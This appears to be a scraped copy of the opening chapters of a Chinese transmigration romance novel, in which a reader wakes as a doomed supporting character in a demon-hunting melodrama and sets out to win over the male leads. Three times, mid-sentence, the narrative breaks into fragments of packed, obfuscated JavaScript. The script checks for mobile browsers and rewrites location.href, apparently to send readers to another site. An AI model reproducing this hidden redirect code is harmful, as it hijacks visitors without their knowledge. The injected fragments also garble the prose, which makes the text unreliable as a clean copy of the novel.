《穿书之我在狗血文里艰难求生》 1. 与君初相识 阳光暖洋洋的透过纱窗照进来,满室都洒满了金色光斑。 床上的少女被这光照的有些不舒服,她迷迷糊糊地翻了个身,无意识地皱着眉,扯过一边的被子遮住了自己的脑袋。 但是裹在被子里面又有些难以呼吸,是以少女很快就一脸菜色的把头露了出来。 她迷迷糊糊的从床上坐起来,先习惯性的伸了个懒腰,然后才睁开了眼睛。 入目是陌生的陈设,古色古香的多宝格上摆着琳琅满目的宝物,床边不远处放着海棠样式的小几,几上摆着香盒、匙筷、茗碗等东西,地上一溜楠木椅子,都搭着弹墨椅袱。 虽然这个场景已经看了两天了,但周春和还是不太习惯。 穿进这本名叫《捉妖世家:温柔捉妖师狠狠爱,甜心女主哪里逃》的狗血文里之后,周春和就已经两天没笑过了。 这两天里她从一开始的狠狠破防到后面的行尸走肉再到现在的积极接受,思想上可谓是转变了不止一百八十度。 刚开始还整夜整夜的失眠,现在她已经能安然的睡到日上三竿了。 嗯,这怎么不算是一种进步呢? 好吧,其实是因为事情已经这样了,不转变自己的思想也没什么办法。 周春和对这本书印象很深,因为在穿进来的前一天她还在熬夜看。 这本书是一本比较俗套的爽文,和周春和同名同姓的这个女子在书里是女配,还是分量比较重、是男女主相爱路上一块巨大绊脚石的女配角。 这本书主要讲的是男女主携手共进,在各处行侠仗义惩奸除恶的故事。 当然了,作为一本言情小说,光行侠仗义还是不够的,还需要一点情啊爱啊来点缀。 为了让男女主之间的剧情一波三折更有看头,作者在书中加了好几个男女配,有配角那必然有各种打脸名场面,原书中的女配周春和就贡献了好几个经典打脸场面,可谓是狗血与酸爽齐飞,爱恨和情仇喷涌。 作为读者来说,看这种无脑小甜文当然很爽,可是作为书里的人——尤其还是个炮灰配角,周春和的心情就不是这么美丽了。 周春和是书中隐藏比较深的一个邪恶反派——她是女主周夏莲的妹妹,小时候走丢了,最近刚被找回来。 周春和前期处于潜伏期,一直以一种好的形象示人,虽然偶尔也会用点小手段,但总归都无伤大雅。直到最后快要大结局的时候,才因为对男主爱而不得完成黑化给主角团使了个大绊子。 相比于其他那些纠缠男主但通常活不过十章的女配角来说,她已经算是比较敬业的一个了。 除了各种各样出来作妖的女配角之外,出来作死的男配角同样不少。 其中戏份比较重的就是谢斯年和傅怀玉。 这两个一个是和女主一起长大的病娇竹马,一个是天降温润如玉的翩翩公子,要不是男主裴瑾主角光环强大,他们早就抱得美人归了。 当初看小说的时候,周春和就一直站男配谢斯年和女主的cp,她从头到尾都磕不到男女主。 拜托,年下病娇白切黑弟弟他不香吗? 就算不是谢斯年,那温润如玉风光霁月的傅怀玉也行啊,把永远彬彬有礼的贵公子拉下神坛这种事情想想都觉得带劲。 但女主周夏莲偏偏选择了在周春和看来没什么优点的男主裴瑾。 看书的时候周春和就没少开喷,骂作者识人不清竟然让这样一个没什么吸引点的角色当男主,谁知道喷着喷着把自己给喷了进来。 周春和双眼无神的躺在床上,心说这件事情告诉了我们一个至关重要的道理,那就是不要在网上随便喷人,要不然到最后可能会让自己落到一个破大防的境地。 阿弥陀佛,真是善语结善缘,恶语伤人心。 她以后再也不随便骂人了。 不过好在事情也不是完全没有转机。 进来之后,周春和身上就自动绑定了一个系统。 据这系统的说法是,系统是为了男女主的幸福而存在的,而作为女配的周春和只需要完成三个任务就可以更改小说的大结局。 也就是说,只要在不让这个世界崩坏的大前提下完成系统给的任务,周春和就可以避免那个必死的结局了。 知道了这一点之后,周春和松了口气。 但是等看到了系统给的三个任务,周春和才发现自己这口气松早了。 任务一,保证男女主he。 嘻嘻,如果男女主be了,那么读者就会破防,读者一旦破防,就会开始攻击作者,作者被攻击之后,自尊心就会受到打击,自尊心一受到打击,就会停止写作,作者产不出粮,读者就会再次破防,然后就会更狠的攻击作者。为了世界和平,为了读者和作者的幸福,请宿主一定要努力打出一个完美的he结局啊! 任务二,请在男配中选择一位攻略,该男配的好感度达到百分百时即为攻略成功。 嘿嘿,这下宿主你有福了,看上哪个攻哪个,只有宿主你养不好的肾,没有宿主你摸不到的男人。 任务三,根据进度完成系统颁布的随机任务。 注意,系统很有可能会随即颁布一些附带神秘大奖的任务哦,只要完成任务就可以获得外挂,怎么样,惊不惊喜,意不意外? 第一个她忍了,第二个她也忍了。可是看到第三个任务的时候,周春和再次破防。 什么叫“根据进度完成系统颁布的随机任务”??! 这句话的意思不就是除了前两个任务之外,还有无穷无尽的随机任务在等着她吗? 周春和用一种命很苦的声音问系统:“……那如果我完不成随机任务会怎么样?” 系统的声音依然很活泼:“随机任务分为两种,一种是强制性的,一种是福利性的,强制性的必须要完成,否则就会给予一定的处罚;福利性的可以选择完成,也可以选择不完成。完成的话系统就会给随机的奖励,不完成也没有惩罚。” “那强制性任务大概有多少个?” 系统说:“不好说,根据具体情况而定吧。”顿了顿,系统好心的安慰道,“放心吧宿主,任务一般都不难,只是为了在大方向上纠正剧情,一般很容易就过了。” 周春和这才松了口气。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576607|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 理清楚了眼下的处境,知道前面并不是死路之后,周春和稍稍安下心来,就开始认真思索接下来该怎么办了。 看现在的情况,剧情应该才刚刚开始没多久,大概也就十几章的样子。 这时候周春和才刚被找回来不久,姐妹二人应该很快就会遇到男主。 女主和周春和是巫山谷的谷主周知音的女儿,巫山谷乃是一个有名的门派,每当哪里出现妖魔的时候,周知音都会派人斩杀。 上次离巫山谷几十里之外的地方出现了湖妖,于是周知音就派周夏莲和周春和去猎杀。 在除妖的过程中,因为两人是第一次在水中猎妖,对有些事情还很生疏,所以一招不慎竟然落入险境之中,还险些丢了性命。恰好这时候光芒万丈的男主从天而降,这才将二人救了下来。 原来是男主刚好游历至此,见到有人受伤,就顺手救了下来。结果就是女配周春和对他一见钟情,而他对女主一见钟情。 估计他自己也没想到自己这随意一救救出来了后面一长串的爱恨情仇。 周知音为了答谢裴瑾,将人留在巫山谷住了几日。这几日里,裴瑾教给周夏莲很多除妖的妙计,两个人一同出门猎魔,关系愈发亲密。 十几天的日子转瞬即逝,今天就是裴瑾离开的日子。 裴瑾是游历天下的猎妖人,以四海为家,不可能会长久的留在一个地方。经过这几天的相处,女主也已经对裴瑾芳心暗许,只不过两个人都没有戳破而已。 周夏莲见裴瑾要离开,便和自己的母亲说想要跟着一同出门历练。 周知音自然是不放心,虽然她也喜欢这个端庄有礼的年轻人,但毕竟这次是要出远门,不像往前一样是在自己的眼皮子底下,出了什么事自己也不能知道,做母亲的自然会犹豫。 但偷偷爱上男主的周春和也在旁边帮着姐姐煽风点火,按照惯例,她们这个年纪的猎魔人已经可以独立出远门,就算是这次不出去,用不了多久还是要离家。这样看来,倒还不如让她们跟着裴瑾一起去。 一来裴瑾灵力强大,三个人可以互相有个照应。二来这裴瑾确实是个知礼数懂进退的人,周知音心理其实对他很满意。 是以周春和在一旁磨了几日,周知音也就答应下来。 女主白切黑的病娇竹马知道了这一切,自然是非得要跟着来。 谢斯年无父无母,是被周知音养大的,一直叫周夏莲姐姐。 周知音一想,四个人相互照应那就更好了,于是也答应下来。 离家的日子就定在了今天,行囊已经收拾好,就等着吃完饭出门了。 周春和一脸菜色的揉了揉眼睛,不情不愿地下了床。 唉,以后就要四海为家了,也不知道这种睡床的日子还能有几次。 其他人已经在偏厅坐好准备吃饭了。因为周春和年纪最小,又在外流落多年,所以大家都特别偏宠她。 不仅周知音对她有求必应,而且女主男主也会下意识把她当作妹妹宠着。 可以说整个巫山谷上下都对周春和十分溺爱—— 除了谢斯年。 2. 与君初相识 不知道是不是同类相斥,谢斯年像是看透了周春和的本质似的,对周春和的态度总是若即若离的,不仅不会好好待她,还总是以一种审视的眼光对待她,说话也时不时夹枪带棒阴阳怪气。 不过自从周春和穿到这本书之后,两个人说话的机会也没有很多。 周春和不知道还能不能用自己的实际行动改变谢斯年对她固有的看法,要不然谢斯年一直带着偏见看她的话,她很难顺利攻略下他。 见周春和过来,周知音立刻朗声笑道:“春和起来了?快过来吃饭,就等你了。” 周夏莲也笑眯眯地说:“有你最爱吃的大肘子,快来吧。” 裴瑾细心的帮她摆正了位置,只有谢斯年似笑非笑地看着她,一句话也没说。 周春和先是甜甜的应了一声,然后才坐到了自己的位置上。 刚坐定,一抬头就对上了对面谢斯年漆黑的眼眸。 周春和脸上的笑容有一瞬间的僵硬——爷爷的,谁给她安排的位置,还让不让人好好吃饭了? 不过她迅速就调整好了自己的表情,摆出一个十分无辜的、甜甜的笑:“谢斯年,你一直盯着我做什么呀?” 平心而论,其实谢斯年有一张让人过目不忘的脸。 他很年轻,摸约也就十七八,喜欢穿一身深色衣裳,扎着高高的马尾,看起来朝气蓬勃,举手投足间都是青春气。 他有一双很漂亮的眼睛,眼下的那枚泪痣点缀的恰到好处,嘴唇不点而红,额前两缕恰到好处的碎发,整个人看起来青春又洋溢。 谢斯年笑起来有酒窝,笑得弧度大的时候,唇边还会出现两个可爱的“小括弧”,端的是天真可爱的邻家弟弟。 如果不了解这个人,十有八九会被他的外表骗过去。觉得他只是个善良又貌美的少年。 但实际上,谢斯年这个人坏到了骨子里。就连和他一起长大的周夏莲也从未发觉。 或者说,他实在是太会隐藏自己了,在周夏莲面前永远是天真乖巧的样子,是以周夏莲才从未发觉自己当作弟弟的人是这样一个人。 真实的谢斯年其实是个睚眦必报,为达目的无所不用其极的怪物。 他笑眯眯的看着周春和,表情无比真诚,可对周春和说话的那个语气实在是欠揍:“哦,我还以为周小姐脸上有东西,仔细看才知道是自己看花眼了。” 嗯……既然病娇不好好说话,那就别怪她也胡言乱语了。 周春和继续用那种无辜的表情看着谢斯年,语不惊死人不休:“这样啊,我还以为你觊觎我的美貌,偷偷爱上我了呢。” 谢斯年的表情有一瞬间的凝滞,显然是没想到眼前这个少女脸皮这么厚。 周春和面不改色的笑了一声:“开个玩笑嘛,谢公子别当真……” 嘿嘿,能呛到谢斯年的时候可不多,周春和在心里得意的比了个耶。 下一秒她就笑不出来了,因为脑子里面的系统又提示离任务二正式开始就只剩下半天,让她抓紧时间准备攻略男配了…… 他爷爷的,这几天几乎没见过谢斯年几面,她都快忘了谢斯年还是自己的攻略对象之一。 系统给她的第二个任务是攻略男配,按照正经的戏份多少来说,不算那些杂七杂八出现的配角和明面上的大反派,本书真正算是配角的就两个,一个是谢斯年,另一个就是傅怀玉了。所以周春和要么攻略谢斯年,要么攻略傅怀玉,要么两个一起攻略,哪个先成功了算哪个的。 现在傅怀玉还没有出场,不过也很快了——下午他们就会遇上。 系统就说这几天算是给周春和放假。等下午遇见了傅怀玉,周春和就可以正式开始攻略男配的任务了。 其他人看着两人斗嘴,都觉得有些好笑。 周夏莲笑眯眯和裴瑾对视一眼,然后看向两人,笑道:“你们怎么还像是小孩子一样呢?好了,别斗嘴了,快吃饭吧。” 见周夏莲开口,谢斯年立刻乖乖听话,安静地端起自己的碗筷吃起来。 周春和见状,心里便归纳总结经验——看来以后想压制谢斯年,还是得靠女主出马。 吃过饭之后,大家就要背上行囊离开了。 他们的第一站是蓉城,也就是遇见第二个男配傅怀玉的地方。 因为蓉城近来发生了很多奇怪的事情,有人怀疑有妖闯了进来,所以才来巫山谷求助。其实之前已经有很多猎妖人去了蓉城,但都没有彻底解决这件事,周知音就顺手把这个任务分配给了要出门游历的周夏莲她们。 四个人光靠腿步行的话,大约得走半个时辰才能走到。 不过他们毕竟是猎妖人,身子骨比普通人强壮许多,就连灵力最弱的周春和也能脸不红气不喘的走上两个时辰,所以这点小路对他们来说其实不算什么。 就是光走路无聊了点。 周春和一向不是一个能忍受无聊的人,前面是并肩而行、时不时甜蜜对望一眼的周夏莲和裴瑾,身边时一脸阴翳盯着那两个人的谢斯年…… 周春和犹豫两秒,还是决定和谢斯年说话来打发无聊的时间。 毕竟前面男女主在一起呆的好好的,周春和都能看见他们头顶上冒红心心,这时候上去打扰实在是太不人道了。而且按照剧情来看,两个人以后还会有不少摩擦,现在还是赶紧先为以后的he铺垫一下才好。 而且,嗯……说不定周春和也能为以后铺垫一下,尽量提高谢斯年对自己的好感度。 她道:“谢公子,有没有人说过你的泪痣很漂亮啊?” 谢斯年回过神,看了周春和一眼。 他脸上的阴郁还没消散,眼神有些阴沉:“嗯?” 周春和嘻嘻一笑:“没有是吧?那现在有了,谢公子,你的泪痣真漂亮,长在你脸上真是再合适不过了。” 谢斯年已经恢复了平常的模样,闻言微微一笑,如果不是笑意没有达到眼底,那简直就是一个青春洋溢的少年:“周姑娘的这张嘴果真是什么话都能说得出来。” 瞧瞧瞧,又开始阴阳怪气了。 不过周春和完全不在意:“为什么你叫周姐姐姐姐,却叫我周姑娘啊?” 谢斯年顿了顿,目视前方:“我与她自小一同长大,她长我几岁,自然是该叫姐姐。你……” 他侧头看了一眼,似有嫌弃:“……你才多大。” 周春和得意地想,哼,现实世界里的我可比你大多了,就是穿到这个皮囊里显小而已……不过嘴上却说:“那你也别叫我周姑娘了,显得咱们多么生疏啊。” 谢斯年斜睨她一眼,语气带着嘲弄:“我们很熟吗?” 周春和理所当然地说:“你不主动和我多交流交流,我们肯定熟不起来啊。要么这样,咱们从现在开始积极联络,争取感情更上一层楼,如何呢?” “谁要和你……” 周春和没听见他的话,兴致勃勃的打断道:“好,那就这么说定了。这熟悉的第一步呢,就先从称呼开始,你以后别叫我周姑娘了。叫我的名字吧。对了,你知道我叫什么吗?我叫周春和。‘至若春和景明’的那个‘春和’,意思就是……” 谢斯年侧头看了一眼正滔滔不绝的少女,忍不住漫不经心的走了下神。这人的嘴是铁打的么?话密成这样。 他甚至都找不到地方插嘴。 少女犹自介绍自己的名字,说到兴起之处,自己忍不住哈哈大笑起来。完全不在意身边的人是否在听。 这笑声实在是过于狂野酷炫,从未听过这般豪爽笑声的谢斯年有些好奇的偷偷打量了她一眼,少女的头发被随意挽起,上面只插了一根素雅的簪子。身上则穿着齐胸襦裙,也是很淡的黄色,没什么华丽的点缀,看着很简单,却自带一股灵动气质。 明明前几日他见到她的时候,周春和每天还都喜欢穿着又土又华丽的盛装。那些装束实在是不忍直视,要么就是大红配大绿,要么就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576608|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满头金银珠钗,家里人宠溺她,想要什么就给她什么。是以每日周春和就以那种令人啼笑皆非的样子出门。 可是这几日像是忽然变了个人,不仅衣服不要华丽奢侈的,而且说话举止也有了很大变化。 不过他到底和周春和不熟,是以也不会深究到底是怎么一回事。 只是忍不住更加好奇的观察起女孩来。 之前的浓妆艳抹让人看不清女孩原本的模样,但现在周春和习惯不施粉黛,那张素净的小脸就完完全全的露了出来。 周春和的脸很小,似乎是因为之前风餐露宿的生活让她常常食不果腹,所以她看起身量又瘦又小。不过她的脸确实漂亮。 毕竟是重要的女配,又是女主的亲妹妹,所以在容貌上自然不会太差。 女孩的眼睛很大,一闪一闪的,灵动又调皮。说话的时候那双眼睛安安静静的看着人,不笑的时候也含着情。是和周夏莲完全不同的感觉。 谢斯年不知不觉有些走神。 周春和长篇大论的说完了自己的名字,一抬头就看见谢斯年不知道在想什么,她戳了戳谢斯年的胳膊,问:“想什么呢?这么认真。” 谢斯年骤然回神,语气不觉有些奇怪:“没什么。” 周春和撇了撇嘴,没什么就没什么,这么严肃干嘛。 不过她也没在意,笑眯眯地继续说:“说到哪了?——哦对,我和你说完我的名字了,那你以后就可以直接叫我的名字,别再叫我周姑娘了。作为交换,我以后也不喊你谢公子了,我叫你谢斯年,怎么样?” 谢斯年冷哼一声:“不怎么样。” 为什么她说起这些的时候要用这么熟稔的语气? 就好像是他们真的很熟一样。 周春和笑眯眯地说:“好,那就这么决定了。” 谢斯年:“……” ……谁和你决定了? 再往前走就是一片密林,几个人决定在林子里休息片刻再继续出发。 一进林子,周春和立刻长长的舒了一口气。 现在正是烈日当头的时候,刚刚晒得她脸颊都微微发红了。进了林子里面,高大的树叶挡住了大片阳光,走在林荫之下,周春和这才觉得自己舒服了很多。 几人继续往前走,走到一条小溪边才停下。 大家四散靠着大树坐下,枕着树干休息了一会。 周夏莲擦了擦脸上的汗水,拿过来自己的水壶,拧开盖子才发现里面已经空空如也。 坐在她旁边的谢斯年立刻拿出自己的水壶,乖巧地说:“姐姐喝我的水吧。” 他坐得很低,看着周夏莲的时候需要微微抬眼。 这是他故意这么做的,因为他最明白自己什么样子才能让人觉得最无辜可怜。所以他习惯性的用那种让人觉得自己天真的模样示人。 周夏莲接过他的水壶,却没有立刻喝,而是先转头笑眯眯地问另一边的裴瑾:“你要不要喝水?” 谢斯年的表情立刻变得有些阴翳,不过下一秒在周夏莲看过来时又立刻恢复如初。 裴瑾完全没有注意到谢斯年眼里的暗波汹涌,仍是笑眯眯地说:“多谢,正好我的水也已经喝完了。” 两个人甜蜜地笑着分了一半谢斯年的水,周夏莲还给谢斯年的时候,裴瑾还浑然不觉,笑着说了声谢谢。 于是谢斯年的脸色变得更差。 坐在一边的周春和将这一切尽收眼底,忍不住幸灾乐祸起来。 哦吼,吃瘪了吧。 活该,让你老是呛我。 还没开心完,注意到她的谢斯年已经似笑非笑的走了过来,主动坐在了她身边。 周春和立刻不自在地咽了口唾沫。 嗯?怎么忽然过来了,难道是她脸上的表情太明显了? 就见谢斯年在她面前蹲下,高高的马尾一甩,一张少年人朝气蓬勃的脸就闯进了她的眼帘:“周小姐笑什么呢?” 3. 与君初相识 周春和咳了一声,清了清嗓子:“我在笑人生奇妙啊,你看前几天我们都还不认识呢,现在却能坐在一起,你说咱们是不是还挺有缘分的?” 谢斯年抱臂道:“如果不是周小姐非要跟着,现在我们也不会坐在一起,而且路上也能少很多风险。” 言外之意就是,周春和是个累赘。 周春和干干一笑:“哈哈,谢斯年你也真是的……净说些让人去死的话。” 水壶里面的水已经喝完了,周春和自告奋勇去灌水,叮叮当当的带着其他人的水壶就要往河边走。 周夏莲要跟着帮忙,被周春和婉拒了。于是周夏莲就催着谢斯年帮忙一起拿水壶。 谢斯年一向不会拒绝周夏莲,就顺从的和周春和一起来到了小溪边。 小溪清澈见底,河底的鹅卵石粒粒分明,时不时还有一尾小鱼游过。 周春和理直气壮的把水壶递给谢斯年,然后丝毫不客气的支使他干活:“去,把水壶灌满。你接两个我接两个,正好。” 谢斯年没动,抱着臂看周春和:“周小姐不是说要自己接么?” 周春和见他不动,干脆把水壶硬塞到他手里:“你这不是跟过来了么,你一个大男人,好意思让我一个孤苦无依的小女孩自己干活么?快接,这是你亲爱的姐姐的水壶,你不接的话一会我就告状,说你欺负我,逼我干活。” 谢斯年的表情有一瞬间的凝固,随即像是被气笑了:“周小姐真是伶牙俐齿,之前怎么没注意到呢。” 之前没注意到那是你眼瞎。 周春和在心里偷偷骂了谢斯年两句,但是脸上笑意不减:“不是和你说了叫我名字么,怎么还一口一个‘周小姐’的叫?” 谢斯年蹲下身,和周春和并排接水,笑得分外可爱:“怎么,我不叫的话你还打算再去告状么?” 周春和心说那是当然,现在我有了秘密武器,可不得好好利用起来?哼。屁股带火别惹我。 嘴上却说:“哎呀。刚刚就是和你开个玩笑嘛,你看你,又当真。好了,快接水吧。” 说着埋头把水壶沉进溪水里,看着壶口咕咕噜噜的进水。 他们猎妖人四海为家,平常风餐露宿,所以喝点溪里的水也没什么,再说这水干净得很,不会喝出病来。 周春和心道,当个猎妖人还真方便,有什么吃什么,也不会吃出病……这么强壮的身体,估计平时也不容易生病。 接完水,两个人一同起身回去。 大家在林子里休息了一会儿,整理好了行囊之后,很快再次出发。 前面再走不远就是蓉城。这蓉城虽然叫做城,但其实只是一个小小的村落。 据村里人说,之前这里确实是个城。不过因为地势不好,容易滋养妖鬼,所以很多人都离开了。慢慢城就荒废下来,成了村子。 四个人进去的时候,村子里看上去确实破败不堪,里面就只住了零零散散十几户人家,其余的全都迁走了。 村长是个已经五十多岁的老头,脸上布满了皱纹,头发全白了,他带着四人往村子里面走,嘴上还不住的叹气:“我已经送走了五六个猎妖人啦,没一个能彻底解决这怪事的。我在这村子里面住了半辈子,从来没遇见过这种情况。你们也看见了,村子里的年轻人差不多都走完了,都不愿意在这地方呆。不过则也是情有可原,谁愿意住这么一个鬼地方?唉,要不是我年纪大了,在这里住了这么久又有了感情,我也愿意离开这里……” 老人絮絮叨叨的说了一会儿,谁都没有打断他。 很快一行人就走到了村长的家里。 老人用缺了角的陶碗给他们一人倒了一杯水,道:“各位先歇歇,一会儿我便带你们去那闹鬼的地方。” 裴瑾和周夏莲问了问村里的情况,老人一一照实回答。 两个人在房间里和老人说话,周春和坐在外面晒太阳,谢斯年就一直抱臂靠在门边。 他身量很高,在这么一个低矮的房子里显得有些伸展不开。 少年扎着高高的马尾,今天换了另外一身黑色的衣裳,他很白,一身黑色就更加映衬他的肤色。谢斯年嘴里咬着一根狗尾巴草,百无聊赖的屈起一只腿。 周春和看着少年,一时间有些移不开眼睛。 这病娇少年虽然性格顽劣了些,但是这脸这身材是没得挑。这么一身简单到极点的衣服穿在他身上,竟然被衬得格外好看……果然最佳的时尚单品是脸啊。 周春和想着想着,忍不住想入非非……嘿嘿,也不知道这病娇有没有腹肌……要是他愿意让我摸一摸腹肌的话…… 就见那少年不知道什么时候蹲在了她面前,伸手打了个响指,把她从不可描述的画面里叫了出来:“周小姐在想什么,怎么傻笑成这样?” 周春和有些慌乱的收回视线:“咳咳,没想什么啊……嗯……在想一会除妖的事……” 谢斯年顽劣的勾唇一笑,故意拖长调子:“哦——周小姐还会想除妖的事情啊?” 又来了,这病娇弟弟能不能少阴阳怪气一点? 周春和笑出一种命很苦的感觉:“是啊,毕竟我也不忍心老是麻烦你们……” 谢斯年打量她两眼,倒是没接着说什么。 房间里面周夏莲还在问村子一些细节,谢斯年信步走进去,随口插了一句:“老伯,你们平常是靠什么生活?” 村长不明所以,但还是回答道:“哦,我们这虽然闹鬼,但土地还算是肥沃,平日里就靠种地过活,逢年过节的,还可以编点竹筐之类的拿出去卖……” 谢斯年似笑非笑的“嗯”了一声:“原来是这样。” 村长问:“敢问小公子,为什么忽然问这个?” 谢斯年明朗一笑,看起来十分青春洋溢:“没什么啊,觉得好奇,所以随口问问而已。” 村长不好再说什么,也就罢了。 几个人休息的差不多了,村长就带着他们去了“闹鬼”的地方。 这竟然是一座看起来很气派的大宅子。 老人停下脚步,似乎有点恐惧,不敢直视牌匾,看着四人说:“这就是闹鬼的地方了。这地方特别邪乎,白日看着正常无比,可一到晚上……” 他的声音低下去,下意识地四处看看,心有余悸似的说:“……可一到晚上,这宅子里面就会传出撕心裂肺的哭喊声……” 老人害怕,但猎妖人自然不会害怕。这种事情他们见过很多,比这更可怖的事情都不少,自然不会被这种雕虫小技唬住。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576609|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕一会和妖怪打起来伤及无辜,周夏莲便先让老人离开了。 因为这座鬼宅凶名远扬,附近根本没人敢住。所以老人走后,这里就只剩下他们四人。 这下正方便了他们动手。 裴瑾上前一步,轻轻扣了扣门扉,里面没有任何动静。于是他礼貌地说:“既然如此,那就恕我无礼了。” 说着长臂一展,推开了门。 大门发出沉重的“吱呀”声,阴风卷携着灰尘扑面而来。 裴瑾微微侧了侧身,躲开那阵阴风,随即先进去探了探路。 大门进去就是壁影。不过上面的图案并不是寻常的“年年有余”或“富贵长春”,而是一张女人的脸。 那女人十分诡异,上半身是人身,下半身却是鱼尾,人身占了十分之七八,鱼尾只有一点,看起来极不协调。 而且这女人脸上明明是在微笑,却笑的无比诡异。惨白的眼珠子像是有生命似的直勾勾的对着大门。 裴瑾检查了一下四周,除了那壁影之外并没发现不对劲的事情,便转身对身后的人说:“进来吧。” 身后的三个人走了进来,边往里走边注意观察四周是否有什么异响。 周夏莲摸出一张符咒,符咒燃烧发出幽幽绿光,直至燃为灰烬都不曾熄灭……看来院子里面没有妖魔。她和裴瑾对视一眼,一时间有些不解。 几个人顺着长长的抄手游廊来到了堂屋。 堂屋的大门紧紧的闭着,看起来竟然很新。 就在为首的裴瑾想要先行一步推开大门时,没想到“吱呀”一声,门忽然被人从里面推开了。 门扉摩擦地面发出的声音在寂静的院中像是一声闷雷,重重的砸在了每个人的耳朵里。 几个人立刻如临大敌,裴瑾立刻右手摸剑,下一秒利刃就能出鞘。而谢斯年立刻下意识地挡在了周夏莲面前,浑身紧绷的看着那门。 出乎所有人的意料,从门中缓缓走出来的,是一个一身白衣的公子。 不是真正的猎妖人、第一次见到这种场面、从小就特别怕鬼的周春和经过这一路的跌宕起伏早已经吓得三魂丢了七魄,见有人从房间里走出来,忍住晕过去的欲望,颤颤巍巍地开了口:“公子是人是鬼?” 就听见那翩翩公子温和一笑:“光天化日之下,自然不是妖魔。” 周春和偷偷躲到周夏莲身后,在心里默默给自己打气。 怕什么!自己跟着的可是主角团,主角光环一定能保佑她苟到最后。 自己只需要紧紧跟着周夏莲,谢斯年在保护周夏莲的时候肯定也就会顺带保护她一下。 嗯,没人保护,那就创造机会被人保护。 给自己打完气之后,周春和心里的恐惧稍稍减弱。这时候才抬头仔细打量起从鬼宅中出来的那个年轻人。 只见他穿了一身浅青衣服,头上端端正正带着冠,脸庞素白,嘴唇嫣红,鼻尖一枚红痣,笑起来的时候让人如沐春风。 这位新公子也十分好看,是和谢斯年截然不同的好看。 谢斯年是那种蓬勃少年气的感觉,而这位公子则是如水般温柔气质。 就这么盯着他看了两秒,周春和忽然福至心灵—— 难道这位就是男配傅怀玉? 4. 与君初相识 原文中描述傅怀玉的出场好像也是在这么个场景之下。 前几章看的有些潦草,有很多情节周春和记得都不是很清楚了,不过她倒是还记得傅怀玉就是在蓉城这个地方出现的。而且就算是不靠记忆只按照大方向推算,那这个人也十有八九就是傅怀玉。 周春和看了一眼傅怀玉,又看了一眼谢斯年,最后还不忘看一遍裴瑾。最后忍不住在心里叹息一回。 嗯……要不怎么说他们三个是全书分量比较重要的角色,这脸长得真是一个比一个好看。 虽然各花入各眼,之前她一直不太看好男主,但平心而论,男主长得的确也无可挑剔。 而且这短短几天接触下来,周春和也能感觉到男主实实在在是属于风光霁月那一类的。 他很有涵养,做事光明磊落,从来都是舍小家为大家,没有一点私心。并不是当面一套背后一套的那种看似君子实则是小人的人。 就是这样的性格才可以和女主比肩。毕竟在女主的角色设定里面,她也同样是这种大公无私的性格。 想到这里,周春和又看了一眼周夏莲,更是忍不住连连感叹。 女主不愧是女主,之前刚见面的时候周春和就被震惊过。静下心来好好看的时候,更是让她一惊又一惊。 周夏莲和她名字里面的“莲”一样,出淤泥而不染,濯清涟而不妖。真真是清水出芙蓉,天然去雕饰。光站在那里就是一副传世名画,更别说她还淑质英才冰魂素魄。 这样的人,如果周春和是个男的,她也把持不住。 四个人光站在这里就格外赏心悦目,要是他们活在现代就可以直接组团出道了。嗯,出来就是完颜团,肯定能大火一把。 如果可以的话,周春和甚至愿意光坐这里看着他们什么也不做。 这边周春和还在傻笑着想入非非,那边的裴瑾已经先开了口:“不知公子尊姓大名,又为何出现在这个地方?” 果不其然,那人温和一笑,彬彬有礼地回答:“在下傅怀玉,路过此处,暂且休息片刻。” 又抬头扫视他们一眼,最后目光落在周夏莲身上:“不知各位又为何来到此处呢?” 周夏莲不卑不亢道:“我们乃是为了除妖而来。” 傅怀玉一怔,随即轻轻笑了:“你们是猎妖人?” 周夏莲点了点头:“公子呆在这里,可有发现什么异常?” 顿了顿,又问:“公子怎会恰好出现在这里?” 不怪周夏莲奇怪,任谁发现在这里出现了一个人都会觉得奇怪,更何况这一切还都这么巧。 几个人虽说看起来和平常没什么区别,可都暗暗绷直了身体,只要面前的人敢发难,那么他们立刻就能出手。 只有知道傅怀玉是男配的周春和看起来十分轻松,因为她确定对方是好人。 傅怀玉解释道:“也不能说是偶然,我问了村中人,他们说这里有座废弃的宅子,于是我才来了这里。谁知道刚刚进来不久,各位就进来了。听这位姑娘的语气,难不成这里面有妖?” 几个人接下来就是过剧情了,左不过一问一答解释清楚误会,周春和闲得无事,随手从怀里拿出一把瓜子轻轻磕起来,边磕边思索接下来的剧情是什么。 谁知嗑瓜子磕到一半,周春和总感觉有道视线一直在自己身上,她探头探头的四处巡视一下,发现看着自己的人竟然是谢斯年。 